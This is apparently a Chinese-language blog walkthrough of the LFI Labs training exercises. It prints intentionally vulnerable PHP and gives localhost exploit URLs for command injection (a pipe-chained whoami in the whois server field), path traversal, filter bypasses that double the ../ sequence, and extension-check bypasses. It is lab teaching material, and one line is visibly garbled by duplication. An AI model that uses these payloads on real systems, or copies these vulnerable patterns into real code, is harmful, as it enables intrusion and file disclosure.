Web安全基础 - LFI Labs
本实验来自于https://github.com/paralax/lfi-labs
做到一半了才发现BUUCTF上有,可以参考本篇做一下更有成就感
CMD
CMD-1
该关卡直接执行Get方法cmd对应的命令
<?php
system($_GET["cmd"]);
?>
CMD-2
和上题相似,接收参数方式换成POST请求
<?php
system($_POST["cmd"]);
?>
CMD-3
本实验应该在LNIUX环境下运行,我们要修改/usr/bin/whois
为作用相近的nslookup
<?php
system("/usr/bin/whois " . $_GET["domain"]);
?>
补充一些常用的绕过方法
cmd1|cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1;cmd2:不论cmd1是否为真,cmd2都会被执行;
cmd1||cmd2:如果cmd1为假,则执行cmd2;
cmd1&&cmd2:如果cmd1为真,则执行cmd2;
CMD-4
<?php
system("whois " . $_POST["domain"]);
?>
Windows同样没有whois改代码可以用Docker创建。
在实验目录下运行docker-compose up
记得开启Docker-Desktop来启动守护进程。
CMD-5
<?php
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
?>
本关先对域名进行解析,然后传参进入whois -h [server] [domain]
根据hint,不是所有的参数都要在文本框输入,我们可以通过控制server来进行RCE
http://localhost:8080/CMD-5/?domain=facebook.com&server=127.0.0.1|whoami||
LFI部分
我们重点学习LFI的相关绕过
基础知识
文件包含漏洞就是利用文件包含函数,来实现信息泄露或代码注入等恶意操作。
文件包含的条件:
- allow_url_fopen=On (默认为 On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On (php5.2 之后默认为 Off) 规定是否允许 include/require 远程文件
两个配置选项均需要为On,才能远程包含文件(RFI)成功,由于危害较大,所以常见的是LFI。
LFI-1
<?php
include($_GET["page"]);
?>
最简单的文件包含,基本原理是include会将文件作为php文件来解释。
在docker里面创建要包含的文件
root@lfiweb:/var/www/html# cat payload.php
直接get请求包含即可http://localhost:8080/LFI-1/?page=../payload.php
LFI-2
<?php
include("includes/".$_GET['library'].".php");
?>
我的环境下LFI-2没有includes文件夹,创建后按照上一题的思路构造
http://localhost:8080/LFI-2/?library=../../payload
LFI-3
<?php
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
file_get_contents() 函数是用来将文件的内容读入到一个字符串中的方法。
这里补充下其他常见的文件包含利用点
include():程序执行到才包含,遇到错误生成警告,继续执行脚本
require():程序运行起来立刻包含,遇到错误生成致命错误,脚本继续
include_once():如果文件已包含,则不再进行包含
require()_once():如果文件已包含,则不再进行包含
fopen(),file_get_contents()等:文件读取函数
根据源码,这里的后四位不能是.php
我学到的几种绕过方法如下,但是都是基于windows文件系统特性的绕过,docker搭建的环境下还是不会绕,又用回去phpstudy了(对不起我是废物)
大小写绕过:php->PHp
空格绕过:php->php<空格>,这个得抓包后在hex中修改
加点饶工:php->php.
特殊字符绕过:php->php::$DATA
使用'.ph<'进使用'.ph<'进行.php拓展过滤渗出行.php拓展过滤渗出
因为该函数是读取文件内容,所以这里不会进入phpinfo,而是会回显(加个<br/>
可以看到)
http://localhost/LFILabs/LFI-3/?file=../payload.ph%3C
LFI-4
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL或0x00
补上includes\class_,不使用预定义的字符似乎也能做
http://localhost/LFILabs/LFI-4/?class=/../../../payload
LFI-5
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
补上pages文件夹。过滤了../
,简单的双写就能绕过
http://localhost/LFILabs/LFI-5/?file=..././..././payload.php
LFI-6
<?php
include($_POST["page"]);
?>
简单换成POST请求
接下来五道题就是这五道题目与的POST复刻
LFI-7
<?php
include("includes/".$_POST['library'].".php");
?>
思路参考LFI-2,更换为POST请求,补上includes文件夹
LFI-8
<?php
if (substr($_POST['file'], -4, 4) != '.php')
echo file_get_contents($_POST['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
参考LFI-3
LFI-9
<?php
include('includes/class_'.addslashes($_POST['class']).'.php');
?>
参考LFI-4
补上includes/class_文件夹
LFI-10
<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
参考LFI-5
LFI-11
<?php include($_POST['stylepath']); ?>
在源码下找到下面这段,代码中隐藏真正的参数
<form action="/LFI-11/index.php" method="POST">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>
LFI-12
<form action="/LFI-12/index.php" method="GET">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>
<?php include($_GET['stylepath']); ?>
LFI-11的get版本http://localhost/LFILabs/LFI-12/?stylepath=../payload.php
LFI-13
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
构建pages文件夹http://localhost/LFILabs/LFI-13/?file=..././..././payload.php
LFI-14
<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
LFI-13的复刻,最后一道LFI了,感觉有点水,重复太多了。
HDR-1
阴间页面。。。
hint: array_key_exists() expects exactly 2 parameters
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
一道不明所以的题目,arr_key_value()参数不全,可以猜测是创建一个Cookie来绕过,推荐EditCookie插件
![](/i/l/?n=22&i=blog/2860856/202211/2860856-20221127022000587-781536092.png)